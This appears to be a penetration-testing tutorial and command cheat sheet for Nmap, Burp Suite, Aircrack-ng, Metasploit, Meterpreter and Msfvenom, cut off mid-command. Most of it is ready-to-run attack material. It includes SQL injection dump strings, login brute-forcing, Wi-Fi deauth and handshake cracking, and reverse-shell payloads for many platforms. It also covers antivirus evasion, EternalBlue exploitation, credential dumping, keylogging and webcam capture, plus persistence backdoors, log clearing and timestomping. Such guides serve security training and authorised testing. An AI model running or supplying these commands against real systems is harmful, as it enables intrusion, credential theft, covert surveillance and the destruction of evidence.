# Default host discovery (before port scan): # Nmap sends: # - ICMP echo request (ping) # - TCP SYN to port 443 # - TCP ACK to port 80 # - ICMP timestamp request # Skip host discovery (assume host is up): nmap -Pn 192.168.1.1 # -Pn ← No ping (treat host as up) # Use when: Firewall blocks ICMP # Slower (scans even dead hosts) # ICMP ping: nmap -PE 192.168.1.1 # -PE ← ICMP echo request (standard ping) # ICMP timestamp: nmap -PP 192.168.1.1 # -PP ← ICMP timestamp request # Alternative when echo blocked # ICMP netmask: nmap -PM 192.168.1.1 # -PM ← ICMP netmask request # TCP SYN discovery: nmap -PS22,80,443 192.168.1.1 # -PS ← TCP SYN ping to ports 22,80,443 # Effective against firewalls! # TCP ACK discovery: nmap -PA22,80,443 192.168.1.1 # -PA ← TCP ACK ping # Bypasses: Stateless firewalls # UDP discovery: nmap -PU53,161 192.168.1.1 # -PU ← UDP ping to ports 53,161 # Useful for: Discovering firewalls/routers # ARP discovery (local network only): nmap -PR 192.168.1.0/24 # -PR ← ARP ping # Fastest on local network # Can't be blocked (layer 2!) # Disable DNS resolution: nmap -n 192.168.1.1 # -n ← Never do DNS resolution # Faster! # Force DNS resolution (for all hosts): nmap -R 192.168.1.1 # -R ← Always do DNS resolution # Custom DNS servers: nmap --dns-servers 8.8.8.8,1.1.1.1 192.168.1.1 # --dns-servers ← Use custom DNS
Real-World Nmap Command Examples
# === PENTESTING WORKFLOW === # 1. Quick network discovery: nmap -sn 192.168.1.0/24 # -sn ← Ping scan only (no port scan) # Finds: All live hosts on network # 2. Fast port scan of live hosts: nmap -T4 -F 192.168.1.1-254 # -T4 = Fast # -F = Top 100 ports # 3. Comprehensive scan of interesting hosts: nmap -sS -sV -O -A -p- -T4 -oA full_scan 192.168.1.10 # -sS = SYN scan # -sV = Version detection # -O = OS detection # -A = Aggressive (OS, version, scripts, traceroute) # -p- = All 65535 ports # -oA = All output formats # === SPECIFIC SCENARIOS === # Web server deep scan: nmap -p 80,443 -sV --script "http-*" 192.168.1.10 # SMB enumeration (Active Directory): nmap -p 445 --script smb-enum-shares,smb-enum-users,smb-os-discovery 192.168.1.10 # Vulnerability scan: nmap --script vuln -oA vuln_scan 192.168.1.10 # Stealth scan (IDS evasion): nmap -sS -T2 -f -D RND:10 --randomize-hosts 192.168.1.0/24 # UDP + TCP combined: nmap -sSU -p T:1-1000,U:53,161,500 192.168.1.1 # === CTF/HTB QUICK COMMANDS === # Initial recon: nmap -sC -sV -oA initial 10.10.10.10 # Full port scan: nmap -p- -T4 --min-rate 1000 10.10.10.10 # Detailed scan of found ports: nmap -p 22,80,443,8080 -sC -sV -A 10.10.10.10 # === BUG BOUNTY === # Subdomain discovery + port scan: nmap -iL subdomains.txt -p 80,443,8080,8443 --open -oA web_services # Check for common vulns: nmap --script http-vuln-* -p 80,443 target.com

💡 Nmap Mastery Summary

Essential Nmap skills every hacker needs:

1. Basic reconnaissance:
• nmap -sn 192.168.1.0/24 → Find live hosts
• nmap -sS -p- target.com → Scan all ports
• nmap -sV -O target.com → Identify services and OS

2. Advanced enumeration:
• nmap -sC -sV -oA scan target → Full enumeration
• nmap --script vuln target → Find vulnerabilities
• nmap -A target → Everything (aggressive)

3. Evasion techniques:
• -T2 → Slow and stealthy
• -f → Fragment packets
• -D RND:10 → Decoy scan (hide in noise)
• --spoof-mac 0 → Random MAC address

4. NSE Scripts power:
• --script vuln → Vulnerability detection
• --script http-enum → Web directory discovery
• --script smb-vuln-* → SMB vulnerabilities (EternalBlue!)
• --script ssh-brute → SSH password guessing

5. Performance tuning:
• -T4 → Fast (CTF/lab environments)
• --min-rate 1000 → Maintain 1000 packets/sec
• -F → Fast scan (top 100 ports)
• -p- → All 65535 ports (thorough)

Pro tips:
• Always save output with -oA (all formats)
• Use -Pn if ICMP is blocked
• Combine TCP and UDP: -sSU
• Read the book: nmap.org/book/ (free online!)
• Learn NSE scripting: Write your own scripts in Lua!

Nmap is THE most important tool in penetration testing. Master it = unlock the entire network! 🌐🔍

B-Tools: Burp Suite, BloodHound, and More

Burp Suite (THE Ultimate Web Application Testing Tool)

What is it? Burp Suite is THE industry-standard web proxy and security testing platform. Every web pentester uses Burp! It intercepts HTTP/HTTPS traffic, allowing you to modify requests, scan for vulnerabilities, and exploit web apps. Has free (Community) and paid (Professional) versions.

Getting Started with Burp Suite
# Start Burp Suite: burpsuite # Or from applications menu: Kali → Web Application Analysis → burpsuite # BEGINNER EXPLANATION: # Burp Suite = web proxy that sits between your browser and target # Your browser → Burp Suite → Target website # Burp captures ALL requests/responses # You can: View, modify, resend, scan, exploit # Configure browser proxy: # Firefox: Preferences → Network Settings → Manual proxy # HTTP Proxy: 127.0.0.1 # Port: 8080 # ☑ Use this proxy for HTTPS # Chrome: Use FoxyProxy extension # Import Burp CA certificate (for HTTPS): # 1. Browse to: http://burp # 2. Click "CA Certificate" (top-right) # 3. Save as burp-cert.der # 4. Firefox: Settings → Privacy & Security → Certificates → Import # 5. Trust for websites
Proxy Tab - Intercept and Modify Traffic
# === INTERCEPTING REQUESTS === # Enable intercept: # Proxy tab → Intercept → "Intercept is on" # Now browse target website in browser # Burp catches request BEFORE sending! # WHAT YOU SEE: # GET /admin/login HTTP/1.1 # Host: target.com # User-Agent: Mozilla/5.0... # Cookie: session=abc123 # ACTIONS YOU CAN TAKE: # - Forward: Send request as-is # - Drop: Cancel request (never sent) # - Action → Send to Repeater: Manual testing # - Action → Send to Intruder: Automated fuzzing # - Action → Send to Scanner: Vulnerability scan # === MODIFYING REQUESTS === # Example 1: Change POST parameter # Original: # username=user&password=pass123 # Modified: # username=admin&password=pass123 # Then click "Forward" # Example 2: Add admin cookie # Original: # Cookie: session=abc123 # Modified: # Cookie: session=abc123; isAdmin=true # Test for privilege escalation! # Example 3: Change HTTP method # Original: # POST /api/users/123 HTTP/1.1 # Modified: # GET /api/users/123 HTTP/1.1 # Might bypass authentication! # === INTERCEPT RESPONSES === # Proxy → Options → Intercept Server Responses # ☑ Intercept responses based on these rules # Modify server responses before browser sees them! # Example: Change "Account: Free" → "Account: Premium"
Repeater Tab - Manual Testing
# Repeater = manually modify and resend requests # WORKFLOW: # 1. Right-click request in Proxy/Target → "Send to Repeater" # 2. Go to Repeater tab # 3. Modify request # 4. Click "Send" # 5. View response # 6. Repeat! # === SQL INJECTION TESTING === # Original request: # GET /search?query=admin HTTP/1.1 # Test 1: Basic SQLi # GET /search?query=admin' HTTP/1.1 # Look for SQL error in response! # Test 2: Union injection # GET /search?query=admin' UNION SELECT NULL-- HTTP/1.1 # GET /search?query=admin' UNION SELECT NULL,NULL-- HTTP/1.1 # GET /search?query=admin' UNION SELECT NULL,NULL,NULL-- HTTP/1.1 # Find number of columns # Test 3: Extract data # GET /search?query=admin' UNION SELECT username,password FROM users-- HTTP/1.1 # Dump database! # === XSS TESTING === # Test reflected XSS: # GET /search?query= HTTP/1.1 # If response contains unescaped: #

Search results for:

# = VULNERABLE! # === IDOR TESTING === # Original: # GET /api/user/profile?id=1337 HTTP/1.1 # Returns YOUR profile # Test IDOR: # GET /api/user/profile?id=1 HTTP/1.1 # GET /api/user/profile?id=2 HTTP/1.1 # GET /api/user/profile?id=1000 HTTP/1.1 # Can you access OTHER users' profiles? # === COMPARE RESPONSES === # Right-click in Repeater → "Send to Comparer" # Compare response differences # Useful for: Boolean-based SQLi, timing attacks
Intruder Tab - Automated Fuzzing and Brute Forcing
# Intruder = automated payload injection # WORKFLOW: # 1. Send request to Intruder # 2. Configure attack positions (where to inject payloads) # 3. Load payloads # 4. Start attack # 5. Analyze results # === ATTACK TYPES === # Sniper: One payload set, one position at a time # Example: Test one parameter with wordlist # Battering ram: One payload set, ALL positions get same value # Example: username=PAYLOAD&password=PAYLOAD # Pitchfork: Multiple payload sets, parallel iteration # Example: username=user1&password=pass1, then username=user2&password=pass2 # Cluster bomb: Multiple payload sets, try ALL combinations # Example: Try every username with every password (Cartesian product) # === SET ATTACK POSITIONS === # Original request: # POST /login HTTP/1.1 # username=admin&password=test123 # Mark parameters: # username=§admin§&password=§test123§ # Click "Add §" button to mark positions # === LOAD PAYLOADS === # Payload set 1 (for username): # Payload type: Simple list # Payload options: # admin # administrator # root # user # test # Payload set 2 (for password): # Payload type: Simple list # Load from file: /usr/share/wordlists/rockyou.txt # === USEFUL PAYLOAD TYPES === # Simple list: Custom wordlist # Numbers: 1-1000, increments # Usernames generator: common usernames # Dates: date ranges # Null payloads: no payload (test baseline) # Character substitution: p@ssw0rd variations # Case modification: Admin, ADMIN, admin # Recursive grep: Extract from responses # === PAYLOAD PROCESSING === # Add prefix/suffix: # Rule: Add prefix: 'OR 1=1-- # Payload: admin → 'OR 1=1--admin # Encode: # URL-encode # HTML-encode # Base64-encode # === ANALYZE RESULTS === # Sort by: # - Status code (200 vs 403 vs 302) # - Length (different response = potentially valid cred!) # - Response time (SQL injection timing attacks) # Filter: # Show only: Status code = 302 (successful login redirect!) # === EXAMPLE ATTACKS === # 1. Username enumeration: # POST /login HTTP/1.1 # username=§payload§&password=wrongpass # Valid username: "Incorrect password" # Invalid username: "User not found" # Length differs! # 2. Password brute force: # POST /login HTTP/1.1 # username=admin&password=§payload§ # Success: Status 302, Length 0 (redirect to /dashboard) # Failure: Status 200, Length 1523 (error message) # 3. Parameter fuzzing: # GET /api/users?sort=§payload§ # Payloads: name, id, email, created_at, admin, password # Find hidden parameters!
Scanner Tab - Automated Vulnerability Scanning (Pro Only)
# Scanner = automated vulnerability detection (Burp Professional ONLY!) # Free version (Community) does NOT have scanner # === PASSIVE SCANNING === # Automatically analyzes traffic for: # - Cookie security flags (HttpOnly, Secure, SameSite) # - Cleartext password submission # - Cross-domain script inclusion # - CSRF vulnerabilities # - Missing security headers # View results: # Target → Site map → Right-click domain → "Issue activity" # === ACTIVE SCANNING (Pro) === # Right-click request → "Scan" # Or: Target → Site map → Right-click → "Actively scan this branch" # Tests for: # - SQL injection # - XSS (reflected, stored, DOM-based) # - XXE (XML External Entity) # - SSRF (Server-Side Request Forgery) # - Command injection # - Path traversal # - Open redirects # - CSRF # - Deserialization vulns # Scan configuration: # Fast: Quick tests only # Normal: Balanced # Thorough: Exhaustive (slow!) # === CRAWLING === # Target → Site map → Right-click domain → "Spider this host" # Automatically discovers: All links, forms, parameters # Useful before scanning! # === ISSUE DEFINITIONS === # Each vulnerability shows: # - Severity: High, Medium, Low, Info # - Confidence: Certain, Firm, Tentative # - Description: What it is # - Remediation: How to fix # - References: CWE, OWASP links # - Request/Response: Proof of vulnerability # === EXPORT RESULTS === # Target → Site map → Right-click → "Report selected issues" # Formats: HTML, XML # For: Client reports, documentation
Decoder Tab - Encoding/Decoding
# Decoder = encode/decode data # === SUPPORTED ENCODINGS === # URL encode/decode: # admin%40example.com → admin@example.com # HTML encode/decode: # <script> → # === HASH FUNCTIONS === # Generate hashes: # SHA-1, SHA-256, MD5 # Useful for: # - Password hash cracking # - Integrity verification # - Token generation
Comparer Tab - Response Comparison
# Comparer = compare two requests/responses # USE CASES: # 1. Boolean-based SQL injection: # Send two requests: # /search?id=1 AND 1=1-- (TRUE) # /search?id=1 AND 1=2-- (FALSE) # Compare responses # Different response = SQLi confirmed! # 2. Timing attack baseline: # Request 1: Normal timing # Request 2: With SLEEP(5) payload # Different response time = SQLi! # 3. Username enumeration: # Request 1: Valid username # Request 2: Invalid username # Different response = enumeration possible! # === HOW TO USE === # 1. Right-click request → "Send to Comparer" # 2. Send another request → "Send to Comparer" # 3. Go to Comparer tab # 4. Select both items # 5. Click "Words" or "Bytes" # 6. View differences (highlighted!) # Words: Text-based comparison # Bytes: Exact byte-by-byte
Extender Tab - Plugins (BApp Store)
# Extender = add functionality with plugins # === POPULAR EXTENSIONS === # Autorize: Test for broken authorization # Install: Extender → BApp Store → Autorize → Install # How it works: # 1. Configure low-privilege user token # 2. Browse as admin # 3. Autorize replays ALL requests with low-priv token # 4. Highlights if low-priv gets access (broken authz!) # Logger++: Advanced logging # Install: Extender → BApp Store → Logger++ → Install # Features: # - Advanced filters # - Color-coded logging # - Export to CSV # Param Miner: Find hidden parameters # Install: Extender → BApp Store → Param Miner → Install # Right-click request → "Param Miner" → "Guess parameters" # Finds: Hidden params, headers, cookies # Turbo Intruder: Fast brute-forcing (bypasses rate limits!) # Install: Extender → BApp Store → Turbo Intruder → Install # Uses: HTTP/2, connection pooling # Much faster than regular Intruder! # JSON Web Tokens: JWT manipulation # Install: Extender → BApp Store → JSON Web Tokens → Install # Automatically detects JWT tokens # Test: Algorithm confusion, weak secrets # === INSTALL EXTENSIONS === # Method 1: BApp Store (easiest) # Extender → BApp Store → Browse → Install # Method 2: Manual JAR file # Extender → Extensions → Add # Select .jar file # === WRITE CUSTOM EXTENSIONS === # Languages supported: Java, Python, Ruby # Extender → APIs # Full Burp Suite API access # Example: Auto-exploit SQLi, custom scanners

💡 Burp Suite Complete Workflow

Professional web app pentesting process:

1. Setup (5 mins):
• Start Burp Suite
• Configure browser proxy (127.0.0.1:8080)
• Import CA certificate
• Enable intercept

2. Reconnaissance (30 mins):
• Target → Site map → Spider/Crawl
• Manually browse application (all features!)
• Burp maps entire app structure
• Identify: Login, API endpoints, file uploads, admin panels

3. Manual Testing (2 hours):
• Proxy → Intercept: Modify live requests
• Repeater: Test SQLi, XSS, IDOR, XXE
• Decoder: Decode JWT, Base64, URL encoding
• Comparer: Find boolean-based SQLi

4. Automated Testing (1 hour):
• Intruder: Brute force logins, fuzz parameters
• Scanner (Pro): Active scan for vulns
• Extensions: Autorize (authz), Param Miner (hidden params)

5. Exploitation (varies):
• SQLmap integration: Right-click → "Copy to file" → sqlmap -r request.txt
• XSS: Test in Repeater, escalate to account takeover
• IDOR: Script to enumerate all IDs
• SSRF: Blind SSRF with Burp Collaborator

6. Reporting:
• Target → Site map → Report selected issues
• Export: HTML report with screenshots
• Document: Request/response, impact, remediation

Pro tips:
• Match and Replace: Auto-modify requests (Proxy → Options → Match and Replace)
• Scope: Define target scope (Target → Scope) to focus testing
• Session handling: Auto-update tokens (Project Options → Sessions)
• Collaborator: Detect blind SSRF, XXE, OAST (Burp → Collaborator client)
• Hotkeys: Ctrl+R (Repeater), Ctrl+I (Intruder), Ctrl+Shift+B (Base64 decode)
• Save state: Project → Save (preserve all work!)

Burp Suite is THE web pentesting platform. Master it = find ALL web vulnerabilities! 🌐🔍

BloodHound (Active Directory Attack Path Visualization)

What is it? BloodHound is THE tool for Active Directory enumeration and attack path discovery. It uses graph theory to find hidden relationships and privilege escalation paths. Essential for AD pentesting!

# ========== AIRCRACK-NG ========== # Category: Wireless Attacks # Purpose: Complete WiFi cracking suite (WEP, WPA/WPA2) # Install (pre-installed in Kali): sudo apt install aircrack-ng # Key tools in suite: # - airmon-ng → Enable monitor mode # - airodump-ng → Capture packets # - aireplay-ng → Inject packets, deauth # - aircrack-ng → Crack captured handshakes # Basic workflow (see Bonus Part 1 for detailed guide): sudo airmon-ng start wlan0 # Enable monitor mode → wlan0mon sudo airodump-ng wlan0mon # Scan for networks sudo airodump-ng -c 6 --bssid [MAC] -w capture wlan0mon # Capture handshake sudo aireplay-ng -0 5 -a [AP_MAC] wlan0mon # Deauth to force handshake aircrack-ng -w wordlist.txt capture-01.cap # Crack handshake # ========== AMASS ========== # Category: Information Gathering # Purpose: Subdomain enumeration (passive + active) sudo apt install amass # Passive enumeration (no target contact): amass enum -passive -d company.com # Active enumeration (includes DNS brute force): amass enum -active -d company.com -brute -w subdomains.txt # Output to file: amass enum -d company.com -o subdomains.txt # Use with other tools: amass enum -d company.com | httprobe > live_subdomains.txt # ========== ARMITAGE ========== # Category: Exploitation Tools # Purpose: GUI for Metasploit (team collaboration) sudo apt install armitage # Launch (requires Metasploit database): sudo msfdb init # First time only sudo armitage # Features: # - Point-and-click exploit selection # - Visual network map # - Team server for collaboration # - Automated exploitation workflows # Use case: Red team engagements with multiple operators # ========== AUTOPSY ========== # Category: Forensics # Purpose: Digital forensics platform (GUI for Sleuthkit) # See Section 1 for detailed guide sudo apt install autopsy # Launch: autopsy # Web interface: http://localhost:9999/autopsy # Create case → Add image → Analyze! # ========== AWK (Pattern Scanning) ========== # Category: Utility # Purpose: Text processing, log analysis # Extract specific columns from output: cat access.log | awk '{print $1}' # Print first column (IP addresses) # Filter by condition: netstat -an | awk '/ESTABLISHED/ {print $5}' # Show established connections # Sum values: cat numbers.txt | awk '{sum += $1} END {print sum}' # Use case: Parse nmap output, extract IPs from logs

B-Tools

# Start Metasploit: msfconsole # Loads: Framework, exploits, payloads, auxiliary modules # BEGINNER EXPLANATION: # Metasploit has 5 module types: # 1. EXPLOITS → Take advantage of vulnerabilities # 2. PAYLOADS → Code that runs after exploitation (reverse shell, meterpreter) # 3. AUXILIARY → Scanners, fuzzers, DoS tools # 4. POST → Post-exploitation (after you have shell) # 5. ENCODERS → Obfuscate payloads (evade antivirus) # Update Metasploit: msfupdate # Downloads latest exploits and modules # Search for exploits: msf6 > search eternalblue # Finds: exploit/windows/smb/ms17_010_eternalblue # Search with filters: search type:exploit platform:windows smb search cve:2021 rank:excellent search type:auxiliary name:smb # SEARCH FLAGS EXPLAINED: # type:exploit → Only show exploits # type:auxiliary → Only show scanners/tools # platform:windows → Only Windows exploits # platform:linux → Only Linux exploits # rank:excellent → Only excellent rank (reliable) # cve:2021 → Exploits for CVE-2021-XXXX # View exploit details: msf6 > info exploit/windows/smb/ms17_010_eternalblue # Shows: Description, targets, options, references # Use an exploit: msf6 > use exploit/windows/smb/ms17_010_eternalblue # Loads exploit module # Show required options: msf6 exploit(ms17_010_eternalblue) > show options # Shows: RHOSTS, RPORT, LHOST, etc. # Set target: msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10 # RHOSTS = Remote host (target IP) # Set local IP (for reverse shell): msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50 # LHOST = Local host (attacker IP) # Payload connects back to THIS IP! # Set payload: msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # Payload = code that executes after exploit succeeds # reverse_tcp = connects back to attacker # Run the exploit: msf6 exploit(ms17_010_eternalblue) > exploit # Or: run, or: exploit -j (background job) # Background session: Ctrl+Z # Puts meterpreter session in background # List sessions: msf6 > sessions -l # Shows all active shells/meterpreter sessions # Interact with session: msf6 > sessions -i 1 # -i 1 ← Interact with session ID 1 # Kill session: msf6 > sessions -k 1 # -k 1 ← Kill session ID 1 # Kill all sessions: msf6 > sessions -K
Meterpreter - Advanced Post-Exploitation
# After exploitation, you get meterpreter shell: meterpreter > # WHAT IS METERPRETER? # Advanced payload that runs in memory (no files on disk!) # Features: # - File upload/download # - Screenshot capture # - Keylogging # - Privilege escalation # - Pivoting/routing # - Persistence # - Process migration # === SYSTEM INFORMATION === # System info: meterpreter > sysinfo # Shows: OS, architecture, computer name, domain # Current user: meterpreter > getuid # Shows: NT AUTHORITY\\SYSTEM or domain\\username # Network info: meterpreter > ipconfig # Shows: IP addresses, MAC, subnets # Check privileges: meterpreter > getprivs # Shows: SeDebugPrivilege, SeImpersonatePrivilege, etc. # === FILE SYSTEM === # Current directory: meterpreter > pwd # Change directory: meterpreter > cd C:\\Users\\Administrator\\Desktop # List files: meterpreter > ls # Shows files in current directory # Search for files: meterpreter > search -f passwords.txt # -f passwords.txt ← Search for filename # Search in specific directory: meterpreter > search -d C:\\Users -f *.txt # -d C:\\Users ← Search directory # -f *.txt ← Search pattern # Download file: meterpreter > download C:\\Users\\Administrator\\Desktop\\passwords.txt /tmp/ # Downloads to /tmp/ on attacker machine # Upload file: meterpreter > upload /tmp/mimikatz.exe C:\\Windows\\Temp\\ # Uploads to target # === PROCESSES === # List processes: meterpreter > ps # Shows: PID, name, user, architecture # Migrate to another process: meterpreter > migrate 1337 # Moves meterpreter to PID 1337 # WHY? Stability, evade detection, get new privileges # Kill process: meterpreter > kill 1337 # Execute program: meterpreter > execute -f cmd.exe -i # -f cmd.exe ← File to execute # -i ← Interact (get shell) # === PRIVILEGE ESCALATION === # Attempt automatic privesc: meterpreter > getsystem # Tries multiple techniques: # - Named pipe impersonation # - Token duplication # If successful: NT AUTHORITY\\SYSTEM! # Check if successful: meterpreter > getuid # Should show: NT AUTHORITY\\SYSTEM # === CREDENTIAL DUMPING === # Dump password hashes (requires SYSTEM): meterpreter > hashdump # Dumps: SAM hashes (NTLM) # Output: username:RID:LM:NTLM::: # Load mimikatz (Kiwi): meterpreter > load kiwi # Loads mimikatz as meterpreter module! # Dump credentials from memory: meterpreter > creds_all # Dumps: Plaintext passwords, hashes, tickets # Kerberos tickets: meterpreter > kerberos # === SCREENSHOT & KEYLOGGING === # Take screenshot: meterpreter > screenshot # Saves to /tmp/ on attacker machine # Start keylogger: meterpreter > keyscan_start # Captures all keystrokes # Dump captured keystrokes: meterpreter > keyscan_dump # Stop keylogger: meterpreter > keyscan_stop # === WEBCAM === # List webcams: meterpreter > webcam_list # Take photo: meterpreter > webcam_snap # Captures image from webcam # Start video stream: meterpreter > webcam_stream # === NETWORK & PIVOTING === # Port forwarding: meterpreter > portfwd add -l 4444 -p 445 -r 192.168.2.10 # -l 4444 ← Local port on attacker machine # -p 445 ← Remote port on target # -r 192.168.2.10 ← Remote host (internal network) # Access: localhost:4444 → 192.168.2.10:445 # Route through compromised host: meterpreter > run autoroute -s 192.168.2.0/24 # -s 192.168.2.0/24 ← Subnet to route # Now can attack 192.168.2.0/24 through this host! # Scan internal network: meterpreter > run arp_scanner -r 192.168.2.0/24 # === PERSISTENCE === # Install backdoor: meterpreter > run persistence -X -i 10 -p 4444 -r 192.168.1.50 # -X ← Start on boot # -i 10 ← Connect every 10 seconds # -p 4444 ← Port # -r 192.168.1.50 ← Attacker IP # === MISCELLANEOUS === # Shell access (cmd/bash): meterpreter > shell # Drops to system shell # Exit shell: exit (returns to meterpreter) # Clear event logs: meterpreter > clearev # Clears: Application, System, Security logs # Removes evidence! # Timestomp (modify file timestamps): meterpreter > timestomp C:\\backdoor.exe -z "2020-01-01 00:00:00" # Makes file look old (anti-forensics) # Background session: meterpreter > background # Or: Ctrl+Z # Exit meterpreter: meterpreter > exit
Msfvenom - Payload Generator
# Msfvenom generates custom payloads for any platform! # === LIST AVAILABLE PAYLOADS === # List all payloads: msfvenom -l payloads # Shows 500+ payloads # List by platform: msfvenom -l payloads | grep windows msfvenom -l payloads | grep linux msfvenom -l payloads | grep android # List formats: msfvenom -l formats # Shows: exe, dll, elf, raw, python, powershell, etc. # === WINDOWS PAYLOADS === # Windows reverse shell (EXE): msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe # FLAGS EXPLAINED FOR BEGINNERS: # -p windows/meterpreter/reverse_tcp ← Payload type # windows = Platform # meterpreter = Payload (advanced shell) # reverse_tcp = Connection type (connects TO attacker) # LHOST=192.168.1.50 ← Attacker IP (listens here) # LPORT=4444 ← Attacker port (listens on this port) # -f exe ← Output format (Windows executable) # -o shell.exe ← Output filename # Windows reverse HTTPS (encrypted): msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.50 LPORT=443 -f exe -o shell_https.exe # reverse_https = Encrypted connection (evade IDS!) # Windows bind shell (target listens): msfvenom -p windows/meterpreter/bind_tcp RHOST=192.168.1.10 LPORT=4444 -f exe -o bind_shell.exe # bind_tcp = Target LISTENS, attacker CONNECTS # RHOST = target IP # Windows DLL: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o shell.dll # DLL = Dynamic Link Library (for DLL hijacking) # Windows service executable: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe-service -o service.exe # exe-service = Runs as Windows service # === LINUX PAYLOADS === # Linux reverse shell (ELF): msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf # Linux bind shell: msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=192.168.1.10 LPORT=4444 -f elf -o bind.elf # === WEB PAYLOADS === # PHP reverse shell: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php # Upload to web server! # ASP reverse shell: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp # For IIS web servers # JSP reverse shell: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.jsp # For Tomcat/Java web servers # === SCRIPTING PAYLOADS === # Python reverse shell: msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py # PowerShell reverse shell: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1 # Bash reverse shell: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.sh # === ENCODING (AV EVASION) === # Encode payload (evade antivirus): msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded_shell.exe # ENCODING FLAGS EXPLAINED: # -e x86/shikata_ga_nai ← Encoder (polymorphic, changes each time!) # -i 10 ← Iterations (encode 10 times, harder to detect) # More iterations = better evasion but larger file # List encoders: msfvenom -l encoders # === SHELLCODE FORMATS === # Raw shellcode (for buffer overflow): msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shellcode.bin # C array format (for exploit development): msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f c # Output: # unsigned char buf[] = "\\x31\\xc0\\x50\\x68..."; # Python format: msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f python # Output: # buf = b"\\x31\\xc0\\x50\\x68..." # === MOBILE PAYLOADS === # Android APK: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk # Install on target Android device! # === LISTENER SETUP (MSFconsole) === # After generating payload, set up listener: msfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.50 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > exploit -j # -j ← Run as background job # Now execute shell.exe on target → get meterpreter session!
Metasploit Auxiliary Modules - Scanners and Tools
# Auxiliary modules = scanners, fuzzers, DoS tools (no exploitation) # === PORT SCANNING === # TCP port scanner: msf6 > use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.1-254 msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,445,3389 msf6 auxiliary(scanner/portscan/tcp) > run # SYN scanner (faster): msf6 > use auxiliary/scanner/portscan/syn msf6 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(scanner/portscan/syn) > set PORTS 1-1000 msf6 auxiliary(scanner/portscan/syn) > run # === SMB ENUMERATION === # SMB version detection: msf6 > use auxiliary/scanner/smb/smb_version msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.1-254 msf6 auxiliary(scanner/smb/smb_version) > run # Identifies: Windows version, SMB version # SMB share enumeration: msf6 > use auxiliary/scanner/smb/smb_enumshares msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.1.10 msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBUser administrator msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBPass Password123 msf6 auxiliary(scanner/smb/smb_enumshares) > run # SMB user enumeration: msf6 > use auxiliary/scanner/smb/smb_enumusers msf6 auxiliary(scanner/smb/smb_enumusers) > set RHOSTS 192.168.1.10 msf6 auxiliary(scanner/smb/smb_enumusers) > run # EternalBlue vulnerability check: msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.1-254 msf6 auxiliary(scanner/smb/smb_ms17_010) > run # Checks for MS17-010 (EternalBlue!) # === SSH === # SSH version scanner: msf6 > use auxiliary/scanner/ssh/ssh_version msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(scanner/ssh/ssh_version) > run # SSH login brute force: msf6 > use auxiliary/scanner/ssh/ssh_login msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.10 msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE users.txt msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE passwords.txt msf6 auxiliary(scanner/ssh/ssh_login) > run # === FTP === # FTP version scanner: msf6 > use auxiliary/scanner/ftp/ftp_version msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(scanner/ftp/ftp_version) > run # FTP anonymous login check: msf6 > use auxiliary/scanner/ftp/anonymous msf6 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.1.1-254 msf6 auxiliary(scanner/ftp/anonymous) > run # === HTTP === # HTTP version scanner: msf6 > use auxiliary/scanner/http/http_version msf6 auxiliary(scanner/http/http_version) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(scanner/http/http_version) > run # Identifies: Apache, Nginx, IIS versions # Directory scanner: msf6 > use auxiliary/scanner/http/dir_scanner msf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.1.10 msf6 auxiliary(scanner/http/dir_scanner) > run # Robots.txt scanner: msf6 > use auxiliary/scanner/http/robots_txt msf6 auxiliary(scanner/http/robots_txt) > set RHOSTS 192.168.1.10 msf6 auxiliary(scanner/http/robots_txt) > run # === SNMP === # SNMP community scanner: msf6 > use 